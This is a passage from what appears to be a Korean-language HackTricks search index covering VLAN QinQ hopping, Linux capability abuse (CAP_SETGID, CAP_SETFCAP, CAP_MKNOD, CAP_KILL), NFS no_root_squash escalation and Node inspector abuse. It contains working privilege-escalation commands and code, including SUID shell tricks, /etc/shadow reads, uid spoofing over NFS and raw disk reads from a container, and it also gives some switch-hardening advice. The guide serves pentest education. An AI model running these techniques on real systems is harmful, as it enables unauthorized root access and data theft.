보십시오: python from scapy.all import *\\nouter = 100 # Service tag\\ninner = 30 # Customer / target VLAN\\npayload = Ether(dst=\\"ff:ff:ff:ff:ff:ff\\")/Dot1Q(vlan=inner)/IP(dst=\\"10.10.30.1\\")/ICMP()\\nframe = Dot1Q(type=0x88a8, vlan=outer)/payload\\nsendp(frame, iface=\\"eth0\\")","breadcrumbs":"Pentesting Network » Lateral VLAN Segmentation Bypass » 3. QinQ (802.1ad) 스태킹","id":"185","title":"3. QinQ (802.1ad) 스태킹"},"1850":{"body":"이것은 생성된 프로세스의 유효 그룹 ID를 설정할 수 있음을 의미합니다. 권한을 상승시키기 위해 덮어쓸 수 있는 파일이 많이 있습니다, 여기에서 아이디어를 얻을 수 있습니다 . 바이너리 예제 이 경우, 그룹이 읽을 수 있는 흥미로운 파일을 찾아야 합니다. 왜냐하면 어떤 그룹으로도 가장할 수 있기 때문입니다: bash #Find every file writable by a group\\nfind / -perm /g=w -exec ls -lLd {} \\\\; 2>/dev/null\\n#Find every file writable by a group in /etc with a maxpath of 1\\nfind /etc -maxdepth 1 -perm /g=w -exec ls -lLd {} \\\\; 2>/dev/null\\n#Find every file readable by a group in /etc with a maxpath of 1\\nfind /etc -maxdepth 1 -perm /g=r -exec ls -lLd {} \\\\; 2>/dev/null 파일을 찾아서 권한 상승을 위해 악용할 수 있는 경우(읽기 또는 쓰기를 통해) 흥미로운 그룹을 가장하여 셸을 얻을 수 있습니다 : python import os\\nos.setgid(42)\\nos.system(\\"/bin/bash\\") 이 경우 그룹 shadow가 가장해져서 /etc/shadow 파일을 읽을 수 있습니다: bash cat /etc/shadow 만약 docker 가 설치되어 있다면, docker group 을 가장 하고 이를 악용하여 docker socket 와 통신하고 권한을 상승시킬 수 있습니다 .","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_SETGID","id":"1850","title":"CAP_SETGID"},"1851":{"body":"이는 파일과 프로세스에 권한을 설정할 수 있음을 의미합니다. 바이너리 예시 만약 python이 이 권한 을 가지고 있다면, 이를 매우 쉽게 악용하여 root 권한으로 상승시킬 수 있습니다: setcapability.py import ctypes, sys #Load needed library\\n#You can find which library you need to load checking the libraries of local setcap binary\\n# ldd /sbin/setcap\\nlibcap = ctypes.cdll.LoadLibrary(\\"libcap.so.2\\") libcap.cap_from_text.argtypes = [ctypes.c_char_p]\\nlibcap.cap_from_text.restype = ctypes.c_void_p\\nlibcap.cap_set_file.argtypes = [ctypes.c_char_p,ctypes.c_void_p] #Give setuid cap to the binary\\ncap = \'cap_setuid+ep\'\\npath = sys.argv[1]\\nprint(path)\\ncap_t = libcap.cap_from_text(cap)\\nstatus = libcap.cap_set_file(path,cap_t) if(status == 0):\\nprint (cap + \\" was successfully added to \\" + path) bash python setcapability.py /usr/bin/python2.7 warning Note that if you set a new capability to the binary with CAP_SETFCAP, you will lose this cap. Once you have SETUID capability you can go to its section to see how to escalate privileges. 환경을 이용한 예시 (Docker 탈출) 기본적으로 CAP_SETFCAP 권한은 Docker의 컨테이너 내 프로세스에 부여됩니다 . 이를 확인하려면 다음과 같은 작업을 수행할 수 있습니다: bash cat /proc/`pidof bash`/status | grep Cap\\nCapInh: 00000000a80425fb\\nCapPrm: 00000000a80425fb\\nCapEff: 00000000a80425fb\\nCapBnd: 00000000a80425fb\\nCapAmb: 0000000000000000 capsh --decode=00000000a80425fb\\n0x00000000a80425fb=cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap 이 기능은 이진 파일에 다른 모든 기능을 부여할 수 있게 해줍니다 , 따라서 이 페이지에 언급된 다른 기능 탈출을 악용하여 컨테이너에서 탈출 할 수 있다고 생각할 수 있습니다. 그러나 예를 들어 gdb 이진 파일에 CAP_SYS_ADMIN 및 CAP_SYS_PTRACE 기능을 부여하려고 하면, 부여할 수는 있지만 이진 파일은 이후에 실행할 수 없게 됩니다 : bash getcap /usr/bin/gdb\\n/usr/bin/gdb = cap_sys_ptrace,cap_sys_admin+eip setcap cap_sys_admin,cap_sys_ptrace+eip /usr/bin/gdb /usr/bin/gdb\\nbash: /usr/bin/gdb: Operation not permitted From the docs : Permitted: This is a limiting superset for the effective capabilities that the thread may assume. It is also a limiting superset for the capabilities that may be added to the inheri‐table set by a thread that does not have the CAP_SETPCAP capability in its effective set. Permitted capabilities는 사용 가능한 것들을 제한하는 것처럼 보입니다. 그러나 Docker는 기본적으로 CAP_SETPCAP 를 부여하므로, 상속 가능한 것들 안에서 새로운 능력을 설정할 수 있을지도 모릅니다 . 그러나 이 능력의 문서에서는: CAP_SETPCAP : […] 호출 스레드의 경계 집합에서 상속 가능한 집합에 어떤 능력도 추가합니다 . 우리는 경계 집합에서 상속 가능한 집합으로만 추가할 수 있는 것처럼 보입니다. 이는 CAP_SYS_ADMIN 또는 CAP_SYS_PTRACE와 같은 새로운 능력을 상속 집합에 넣어 권한을 상승시킬 수 없음을 의미합니다 .","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_SETFCAP","id":"1851","title":"CAP_SETFCAP"},"1852":{"body":"CAP_SYS_RAWIO 는 /dev/mem, /dev/kmem 또는 /proc/kcore에 대한 접근, mmap_min_addr 수정, ioperm(2) 및 iopl(2) 시스템 호출 접근, 다양한 디스크 명령을 포함한 여러 민감한 작업을 제공합니다. FIBMAP ioctl(2)도 이 능력을 통해 활성화되며, 이는 과거 문제를 일으킨 적이 있습니다. 매뉴얼 페이지에 따르면, 이는 보유자가 다른 장치에서 장치별 작업을 설명적으로 수행할 수 있도록 허용합니다. 이는 권한 상승 및 Docker 탈출 에 유용할 수 있습니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_SYS_RAWIO","id":"1852","title":"CAP_SYS_RAWIO"},"1853":{"body":"이는 모든 프로세스를 종료할 수 있음을 의미합니다. 바이너리 예시 python 바이너리가 이 능력을 가지고 있다고 가정해 보겠습니다. 만약 어떤 서비스나 소켓 구성 (또는 서비스와 관련된 구성 파일)을 수정할 수 있다면, 이를 백도어로 만들고, 그 서비스와 관련된 프로세스를 종료한 후 새로운 구성 파일이 당신의 백도어로 실행되기를 기다릴 수 있습니다. python #Use this python code to kill arbitrary processes\\nimport os\\nimport signal\\npgid = os.getpgid(341)\\nos.killpg(pgid, signal.SIGKILL) Privesc with kill 만약 당신이 kill 권한을 가지고 있고 root로 실행 중인 node 프로그램 (또는 다른 사용자로 실행 중인 프로그램)이 있다면, 아마도 SIGUSR1 신호 를 보내서 node 디버거 를 열 수 있을 것입니다. 그곳에서 연결할 수 있습니다. bash kill -s SIGUSR1 \\n# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d Node inspector/CEF debug abuse","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_KILL","id":"1853","title":"CAP_KILL"},"1854":{"body":"이것은 모든 포트(특권 포트 포함)에서 수신할 수 있음을 의미합니다. 이 권한으로 직접적으로 권한 상승을 할 수는 없습니다. 바이너리 예시 **python**이 이 권한을 가지고 있다면, 모든 포트에서 수신할 수 있으며, 다른 포트로부터 연결할 수도 있습니다(일부 서비스는 특정 권한 포트에서의 연결을 요구합니다). Listen\\nConnect python import socket\\ns=socket.socket()\\ns.bind((\'0.0.0.0\', 80))\\ns.listen(1)\\nconn, addr = s.accept()\\nwhile True:\\noutput = connection.recv(1024).strip();\\nprint(output) python import socket\\ns=socket.socket()\\ns.bind((\'0.0.0.0\',500))\\ns.connect((\'10.10.10.10\',500))","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_NET_BIND_SERVICE","id":"1854","title":"CAP_NET_BIND_SERVICE"},"1855":{"body":"CAP_NET_RAW 권한은 프로세스가 RAW 및 PACKET 소켓을 생성 할 수 있도록 하여 임의의 네트워크 패킷을 생성하고 전송할 수 있게 합니다. 이는 패킷 스푸핑, 트래픽 주입 및 네트워크 접근 제어 우회를 포함한 보안 위험을 초래할 수 있습니다. 악의적인 행위자는 이를 이용해 컨테이너 라우팅에 간섭하거나 호스트 네트워크 보안을 위협할 수 있으며, 특히 적절한 방화벽 보호가 없을 경우 더욱 그렇습니다. 또한, CAP_NET_RAW 는 RAW ICMP 요청을 통한 ping과 같은 작업을 지원하기 위해 특권 컨테이너에 필수적입니다. 이는 트래픽을 스니핑할 수 있음을 의미합니다. 이 권한으로 직접적으로 권한을 상승시킬 수는 없습니다. 바이너리 예시 바이너리 **tcpdump**가 이 권한을 가지고 있다면, 네트워크 정보를 캡처하는 데 사용할 수 있습니다. bash getcap -r / 2>/dev/null\\n/usr/sbin/tcpdump = cap_net_raw+ep 환경 이 이 기능을 제공하는 경우 **tcpdump**를 사용하여 트래픽을 스니핑할 수도 있습니다. 이진수 2의 예 다음 예는 \\" lo \\" ( localhost ) 인터페이스의 트래픽을 가로채는 데 유용할 수 있는 python2 코드입니다. 이 코드는 https://attackdefense.pentesteracademy.com/ 에서 \\" 기초: CAP-NET_BIND + NET_RAW \\" 실험실의 것입니다. python import socket\\nimport struct flags=[\\"NS\\",\\"CWR\\",\\"ECE\\",\\"URG\\",\\"ACK\\",\\"PSH\\",\\"RST\\",\\"SYN\\",\\"FIN\\"] def getFlag(flag_value):\\nflag=\\"\\"\\nfor i in xrange(8,-1,-1):\\nif( flag_value & 1 < with a DHCP or static address inside the voice VLAN 이 기술은 데이터/음성 분리를 우회하며 2025년에는 많은 모델에서 LLDP 자동 정책이 기본적으로 활성화되어 있기 때문에 기업 엣지 스위치에서 매우 일반적입니다.","breadcrumbs":"Pentesting Network » Lateral VLAN Segmentation Bypass » 4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)","id":"186","title":"4. Voice-VLAN Hijacking via LLDP/CDP (IP-Phone Spoofing)"},"1860":{"body":"CAP_SYSLOG 는 Linux 2.6.37에서 더 넓은 CAP_SYS_ADMIN 에서 분리되어 syslog(2) 호출을 사용할 수 있는 능력을 부여합니다. 이 기능은 kptr_restrict 설정이 1일 때 /proc 및 유사한 인터페이스를 통해 커널 주소를 볼 수 있게 합니다. Linux 2.6.39 이후로 kptr_restrict의 기본값은 0으로, 커널 주소가 노출되지만, 많은 배포판은 보안상의 이유로 이를 1(주소를 uid 0을 제외하고 숨김) 또는 2(항상 주소 숨김)로 설정합니다. 또한, CAP_SYSLOG 는 dmesg_restrict가 1로 설정된 경우 dmesg 출력을 접근할 수 있게 합니다. 이러한 변화에도 불구하고, CAP_SYS_ADMIN 은 역사적 선례로 인해 syslog 작업을 수행할 수 있는 능력을 유지합니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_SYSLOG","id":"1860","title":"CAP_SYSLOG"},"1861":{"body":"CAP_MKNOD 는 일반 파일, FIFO(이름이 있는 파이프) 또는 UNIX 도메인 소켓을 생성하는 것을 넘어 mknod 시스템 호출의 기능을 확장합니다. 이는 특별한 파일의 생성을 허용하며, 여기에는 다음이 포함됩니다: S_IFCHR : 터미널과 같은 장치인 문자 특수 파일. S_IFBLK : 디스크와 같은 장치인 블록 특수 파일. 이 기능은 장치 파일을 생성할 수 있는 능력이 필요한 프로세스에 필수적이며, 문자 또는 블록 장치를 통해 직접 하드웨어와 상호작용을 촉진합니다. 이는 기본 docker 기능입니다 ( https://github.com/moby/moby/blob/master/oci/caps/defaults.go#L6-L19 ). 이 기능은 다음 조건에서 호스트에서 권한 상승(전체 디스크 읽기)을 수행할 수 있게 합니다: 호스트에 대한 초기 접근 권한을 가짐 (비특권). 컨테이너에 대한 초기 접근 권한을 가짐 (특권 (EUID 0) 및 유효한 CAP_MKNOD). 호스트와 컨테이너는 동일한 사용자 네임스페이스를 공유해야 합니다. 컨테이너에서 블록 장치를 생성하고 접근하는 단계: 호스트에서 표준 사용자로: id로 현재 사용자 ID를 확인합니다, 예: uid=1000(standarduser). 대상 장치를 식별합니다, 예: /dev/sdb. 컨테이너 내에서 root로: bash # Create a block special file for the host device\\nmknod /dev/sdb b 8 16\\n# Set read and write permissions for the user and group\\nchmod 660 /dev/sdb\\n# Add the corresponding standard user present on the host\\nuseradd -u 1000 standarduser\\n# Switch to the newly created user\\nsu standarduser 호스트로 돌아가기: bash # Locate the PID of the container process owned by \\"standarduser\\"\\n# This is an illustrative example; actual command might vary\\nps aux | grep -i container_name | grep -i standarduser\\n# Assuming the found PID is 12345\\n# Access the container\'s filesystem and the special block device\\nhead /proc/12345/root/dev/sdb 이 접근 방식은 표준 사용자가 컨테이너를 통해 /dev/sdb에 접근하고 잠재적으로 데이터를 읽을 수 있도록 하여 공유 사용자 네임스페이스와 장치에 설정된 권한을 악용합니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_MKNOD","id":"1861","title":"CAP_MKNOD"},"1862":{"body":"CAP_SETPCAP 는 프로세스가 다른 프로세스의 능력 집합을 변경 할 수 있도록 하여, 유효한, 상속 가능한 및 허용된 집합에서 능력을 추가하거나 제거할 수 있게 합니다. 그러나 프로세스는 자신의 허용된 집합에 있는 능력만 수정할 수 있으므로, 다른 프로세스의 권한을 자신의 권한 이상으로 상승시킬 수 없습니다. 최근 커널 업데이트는 이러한 규칙을 강화하여 CAP_SETPCAP가 자신의 허용된 집합이나 자식의 허용된 집합 내에서만 능력을 줄일 수 있도록 제한했습니다. 이는 보안 위험을 완화하기 위한 것입니다. 사용하려면 유효한 집합에 CAP_SETPCAP가 있어야 하고, 수정할 대상 능력이 허용된 집합에 있어야 하며, capset()을 사용하여 수정합니다. 이는 CAP_SETPCAP의 핵심 기능과 제한 사항을 요약하며, 권한 관리 및 보안 강화에서의 역할을 강조합니다. **CAP_SETPCAP**는 프로세스가 다른 프로세스의 능력 집합을 수정 할 수 있도록 하는 리눅스 능력입니다. 이는 다른 프로세스의 유효한, 상속 가능한 및 허용된 능력 집합에서 능력을 추가하거나 제거할 수 있는 능력을 부여합니다. 그러나 이 능력을 사용하는 데에는 특정 제한이 있습니다. CAP_SETPCAP가 있는 프로세스는 자신의 허용된 능력 집합에 있는 능력만 부여하거나 제거할 수 있습니다 . 즉, 프로세스가 자신이 가지고 있지 않은 능력을 다른 프로세스에 부여할 수 없습니다. 이 제한은 프로세스가 다른 프로세스의 권한을 자신의 권한 수준 이상으로 상승시키는 것을 방지합니다. 게다가, 최근 커널 버전에서는 CAP_SETPCAP 능력이 더욱 제한되었습니다 . 이제 프로세스가 다른 프로세스의 능력 집합을 임의로 수정할 수 없습니다. 대신, 자신의 허용된 능력 집합이나 자식의 허용된 능력 집합에서 능력을 줄이는 것만 허용됩니다 . 이 변경은 능력과 관련된 잠재적인 보안 위험을 줄이기 위해 도입되었습니다. CAP_SETPCAP를 효과적으로 사용하려면, 유효한 능력 집합에 해당 능력이 있어야 하고, 대상 능력이 허용된 능력 집합에 있어야 합니다. 그런 다음 capset() 시스템 호출을 사용하여 다른 프로세스의 능력 집합을 수정할 수 있습니다. 요약하자면, CAP_SETPCAP는 프로세스가 다른 프로세스의 능력 집합을 수정할 수 있도록 하지만, 자신이 가지고 있지 않은 능력을 부여할 수는 없습니다. 또한 보안 문제로 인해 최근 커널 버전에서는 자신의 허용된 능력 집합이나 자식의 허용된 능력 집합에서 능력을 줄이는 것만 허용하도록 기능이 제한되었습니다.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » CAP_SETPCAP","id":"1862","title":"CAP_SETPCAP"},"1863":{"body":"이 예제의 대부분은 https://attackdefense.pentesteracademy.com/ 의 일부 실험실에서 가져온 것입니다. 따라서 이 privesc 기술을 연습하고 싶다면 이 실험실을 추천합니다. 기타 참고 자료 : https://vulp3cula.gitbook.io/hackers-grimoire/post-exploitation/privesc-linux https://www.schutzwerk.com/en/43/posts/linux_container_capabilities/#:~:text=Inherited%20capabilities%3A%20A%20process%20can,a%20binary%2C%20e.g.%20using%20setcap%20. https://linux-audit.com/linux-capabilities-101/ https://www.linuxjournal.com/article/5737 https://0xn3va.gitbook.io/cheat-sheets/container/escaping/excessive-capabilities#cap_sys_module https://labs.withsecure.com/publications/abusing-the-access-to-mount-namespaces-through-procpidroot ​ tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Linux Capabilities » References","id":"1863","title":"References"},"1864":{"body":"Reading time: 6 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » NFS no_root_squash/no_all_squash misconfiguration PE » NFS No Root Squash Misconfiguration Privilege Escalation","id":"1864","title":"NFS No Root Squash Misconfiguration Privilege Escalation"},"1865":{"body":"NFS는 일반적으로 (특히 리눅스에서) 파일에 접근하기 위해 클라이언트가 지정한 uid와 gid를 신뢰합니다 (kerberos가 사용되지 않는 경우). 그러나 서버에서 이 동작을 변경하는 몇 가지 설정이 있습니다: all_squash : 모든 접근을 압축하여 모든 사용자와 그룹을 nobody (65534 unsigned / -2 signed)로 매핑합니다. 따라서 모든 사용자는 nobody가 되며 사용자가 없습니다. root_squash/no_all_squash : 이는 리눅스의 기본값이며 uid 0 (root)로의 접근만 압축합니다 . 따라서 모든 UID와 GID는 신뢰되지만 0은 nobody로 압축됩니다 (따라서 root 가장은 불가능합니다). ``no_root_squash` : 이 설정이 활성화되면 root 사용자조차 압축하지 않습니다. 이는 이 설정으로 디렉토리를 마운트하면 root로 접근할 수 있음을 의미합니다. /etc/exports 파일에서 no_root_squash 로 설정된 디렉토리를 찾으면, 클라이언트로서 해당 디렉토리에 접근 하고 로컬 머신의 root 인 것처럼 그 안에 쓰기 할 수 있습니다. NFS 에 대한 더 많은 정보는 다음을 확인하세요: 2049 - Pentesting NFS Service","breadcrumbs":"Linux Privilege Escalation » NFS no_root_squash/no_all_squash misconfiguration PE » Squashing Basic Info","id":"1865","title":"Squashing Basic Info"},"1866":{"body":"","breadcrumbs":"Linux Privilege Escalation » NFS no_root_squash/no_all_squash misconfiguration PE » Privilege Escalation","id":"1866","title":"Privilege Escalation"},"1867":{"body":"옵션 1, bash 사용: 클라이언트 머신에서 해당 디렉토리를 마운트하고, root로서 마운트된 폴더 안에 /bin/bash 바이너리를 복사하고 SUID 권한을 부여한 후, 피해자 머신에서 그 bash 바이너리를 실행합니다. NFS 공유 내에서 root가 되려면, **no_root_squash**가 서버에 설정되어 있어야 합니다. 그러나 활성화되지 않은 경우, 바이너리를 NFS 공유에 복사하고 상승하고자 하는 사용자로서 SUID 권한을 부여하여 다른 사용자로 상승할 수 있습니다. bash #Attacker, as root user\\nmkdir /tmp/pe\\nmount -t nfs : /tmp/pe\\ncd /tmp/pe\\ncp /bin/bash .\\nchmod +s bash #Victim\\ncd \\n./bash -p #ROOT shell 옵션 2: C로 컴파일된 코드를 사용하는 경우: 클라이언트 머신에서 해당 디렉토리를 마운트 하고, 루트로 복사 하여 마운트된 폴더 안에 SUID 권한을 악용할 컴파일된 페이로드를 넣고, 희생자 머신에서 해당 바이너리를 실행 합니다 (여기에서 일부 C SUID 페이로드 를 찾을 수 있습니다). 이전과 동일한 제한 사항. bash #Attacker, as root user\\ngcc payload.c -o payload\\nmkdir /tmp/pe\\nmount -t nfs : /tmp/pe\\ncd /tmp/pe\\ncp /tmp/payload .\\nchmod +s payload #Victim\\ncd \\n./payload #ROOT shell","breadcrumbs":"Linux Privilege Escalation » NFS no_root_squash/no_all_squash misconfiguration PE » Remote Exploit","id":"1867","title":"Remote Exploit"},"1868":{"body":"tip Note that if you can create a tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports . The following trick is in case the file /etc/exports indicates an IP . In this case you won\'t be able to use in any case the remote exploit and you will need to abuse this trick . Another required requirement for the exploit to work is that the export inside /etc/export must be using the insecure flag . -- I\'m not sure that if /etc/export is indicating an IP address this trick will work --","breadcrumbs":"Linux Privilege Escalation » NFS no_root_squash/no_all_squash misconfiguration PE » Local Exploit","id":"1868","title":"Local Exploit"},"1869":{"body":"이 시나리오는 로컬 머신에서 마운트된 NFS 공유를 악용하는 것으로, 클라이언트가 자신의 uid/gid를 지정할 수 있게 해주는 NFSv3 사양의 결함을 이용하여 무단 접근을 가능하게 합니다. 이 악용은 NFS RPC 호출을 위조할 수 있는 라이브러리인 libnfs 를 사용하는 것을 포함합니다. Compiling the Library 라이브러리 컴파일 단계는 커널 버전에 따라 조정이 필요할 수 있습니다. 이 특정 경우에는 fallocate 시스템 호출이 주석 처리되었습니다. 컴파일 과정은 다음 명령어를 포함합니다: bash ./bootstrap\\n./configure\\nmake\\ngcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ Exploit 수행 이 익스플로잇은 권한을 루트로 상승시키고 셸을 실행하는 간단한 C 프로그램(pwn.c)을 만드는 것을 포함합니다. 프로그램이 컴파일되고, 결과 이진 파일(a.out)이 suid root로 공유에 배치되며, ld_nfs.so를 사용하여 RPC 호출에서 uid를 위조합니다: 익스플로잇 코드 컴파일: bash cat pwn.c\\nint main(void){setreuid(0,0); system(\\"/bin/bash\\"); return 0;}\\ngcc pwn.c -o a.out 공유에 익스플로잇을 배치하고 uid를 조작하여 권한을 수정합니다: bash LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/\\nLD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out\\nLD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out\\nLD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out 루트 권한을 얻기 위해 익스플로잇을 실행합니다: bash /mnt/share/a.out\\n#root","breadcrumbs":"Linux Privilege Escalation » NFS no_root_squash/no_all_squash misconfiguration PE » Basic Information","id":"1869","title":"Basic Information"},"187":{"body":"모든 사용자-facing 포트에서 DTP 비활성화: switchport mode access + switchport nonegotiate. 모든 트렁크의 기본 VLAN을 사용되지 않는 블랙홀 VLAN 으로 변경하고 태그 지정: vlan dot1q tag native. 트렁크에서 불필요한 VLAN 제거: switchport trunk allowed vlan 10,20. 포트 보안, DHCP 스누핑, 동적 ARP 검사 및 802.1X 를 적용하여 악성 Layer-2 활동을 제한합니다. IP 전화 스푸핑이 필요하지 않은 경우 LLDP-MED 자동 음성 정책을 비활성화(또는 인증된 MAC OUI에 잠금)합니다. 802.1Q 분리에만 의존하기보다는 개인 VLAN 또는 L3 세분화를 선호합니다.","breadcrumbs":"Pentesting Network » Lateral VLAN Segmentation Bypass » 방어 권장 사항","id":"187","title":"방어 권장 사항"},"1870":{"body":"루트 접근 권한을 얻은 후, 소유권을 변경하지 않고(NFS 공유에 대한 흔적을 남기지 않기 위해) NFS 공유와 상호작용하기 위해 Python 스크립트(nfsh.py)가 사용됩니다. 이 스크립트는 접근하는 파일의 uid를 일치시켜, 권한 문제 없이 공유의 파일과 상호작용할 수 있도록 합니다: python #!/usr/bin/env python\\n# script from https://www.errno.fr/nfs_privesc.html\\nimport sys\\nimport os def get_file_uid(filepath):\\ntry:\\nuid = os.stat(filepath).st_uid\\nexcept OSError as e:\\nreturn get_file_uid(os.path.dirname(filepath))\\nreturn uid filepath = sys.argv[-1]\\nuid = get_file_uid(filepath)\\nos.setreuid(uid, uid)\\nos.system(\' \'.join(sys.argv[1:])) 실행 방법: bash # ll ./mount/\\ndrwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » NFS no_root_squash/no_all_squash misconfiguration PE » Bonus: NFShell for Stealthy File Access","id":"1870","title":"Bonus: NFShell for Stealthy File Access"},"1871":{"body":"Reading time: 7 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » Node inspector/CEF debug abuse","id":"1871","title":"Node inspector/CEF debug abuse"},"1872":{"body":"From the docs : --inspect 스위치로 시작하면, Node.js 프로세스는 디버깅 클라이언트를 위해 대기합니다. 기본적으로 , 호스트와 포트 **127.0.0.1:9229**에서 대기합니다. 각 프로세스는 또한 고유한 UUID 가 할당됩니다. 인스펙터 클라이언트는 연결하기 위해 호스트 주소, 포트 및 UUID를 알고 지정해야 합니다. 전체 URL은 ws://127.0.0.1:9229/0f2c936f-b1cd-4ac9-aab3-f63b0f33d55e와 비슷하게 보일 것입니다. warning 디버거가 Node.js 실행 환경에 대한 전체 접근 권한을 가지고 있기 때문에 , 이 포트에 연결할 수 있는 악의적인 행위자는 Node.js 프로세스를 대신하여 임의의 코드를 실행할 수 있습니다 ( 잠재적인 권한 상승 ). 인스펙터를 시작하는 방법은 여러 가지가 있습니다: bash node --inspect app.js #Will run the inspector in port 9229\\nnode --inspect=4444 app.js #Will run the inspector in port 4444\\nnode --inspect=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444\\nnode --inspect-brk=0.0.0.0:4444 app.js #Will run the inspector all ifaces and port 4444\\n# --inspect-brk is equivalent to --inspect node --inspect --inspect-port=0 app.js #Will run the inspector in a random port\\n# Note that using \\"--inspect-port\\" without \\"--inspect\\" or \\"--inspect-brk\\" won\'t run the inspector 검사된 프로세스를 시작하면 다음과 같은 내용이 나타납니다: Debugger ending on ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d\\nFor help, see: https://nodejs.org/en/docs/inspector 프로세스는 CEF ( Chromium Embedded Framework )를 기반으로 하며, 디버거 를 열기 위해 --remote-debugging-port=9222 매개변수를 사용해야 합니다 (SSRF 보호는 매우 유사하게 유지됩니다). 그러나 NodeJS 디버그 세션을 부여하는 대신 Chrome DevTools Protocol 을 사용하여 브라우저와 통신합니다. 이는 브라우저를 제어하기 위한 인터페이스이지만, 직접적인 RCE는 없습니다. 디버그된 브라우저를 시작하면 다음과 같은 내용이 나타납니다: DevTools listening on ws://127.0.0.1:9222/devtools/browser/7d7aa9d9-7c61-4114-b4c6-fcf5c35b4369","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » Basic Information","id":"1872","title":"Basic Information"},"1873":{"body":"웹 브라우저에서 열리는 웹사이트는 브라우저 보안 모델에 따라 웹소켓 및 HTTP 요청을 할 수 있습니다. 고유한 디버거 세션 ID를 얻기 위해 초기 HTTP 연결 이 필요합니다. 동일 출처 정책 은 웹사이트가 이 HTTP 연결 을 만들 수 없도록 방지 합니다. DNS 리바인딩 공격 에 대한 추가 보안을 위해, Node.js는 연결에 대한 \'Host\' 헤더 가 IP 주소 또는 localhost 또는 **localhost6**를 정확히 지정하는지 확인합니다. note 이 보안 조치는 HTTP 요청을 보내기만 해도 코드를 실행하기 위해 인스펙터를 악용하는 것을 방지합니다 (이는 SSRF 취약점을 악용하여 수행할 수 있습니다).","breadcrumbs":"Linux Privilege Escalation » Node inspector/CEF debug abuse » 브라우저, 웹소켓 및 동일 출처 정책","id":"1873","title":"브라우저, 웹소켓 및 동일 출처 정책"},"1874":{"body":"실행 중인 nodejs 프로세스에 SIGUSR1 신호 를 보내면 기본 포트에서 인스펙터를 시작 하게 할 수 있습니다. 그러나 충분한 권한이 필요하므로, 이는 프로세스 내부의 정보에 특권 액세스 를 부여할 수 있지만 직접적인 권한 상승은 아닙니다. bash kill -s SIGUSR1 \\n# After an URL to access the debugger will appear. e.g. ws://127.0.0.1:9229/45ea962a-29dd-4cdd-be08-a6827840553d note 이 방법은 컨테이너에서 유용합니다. 왜냐하면 --inspect로 프로세스를 종료하고 새로 시작하는 것 은 옵션이 아니기 때문입니다. 컨테이너 는 프로세스와 함께 종료 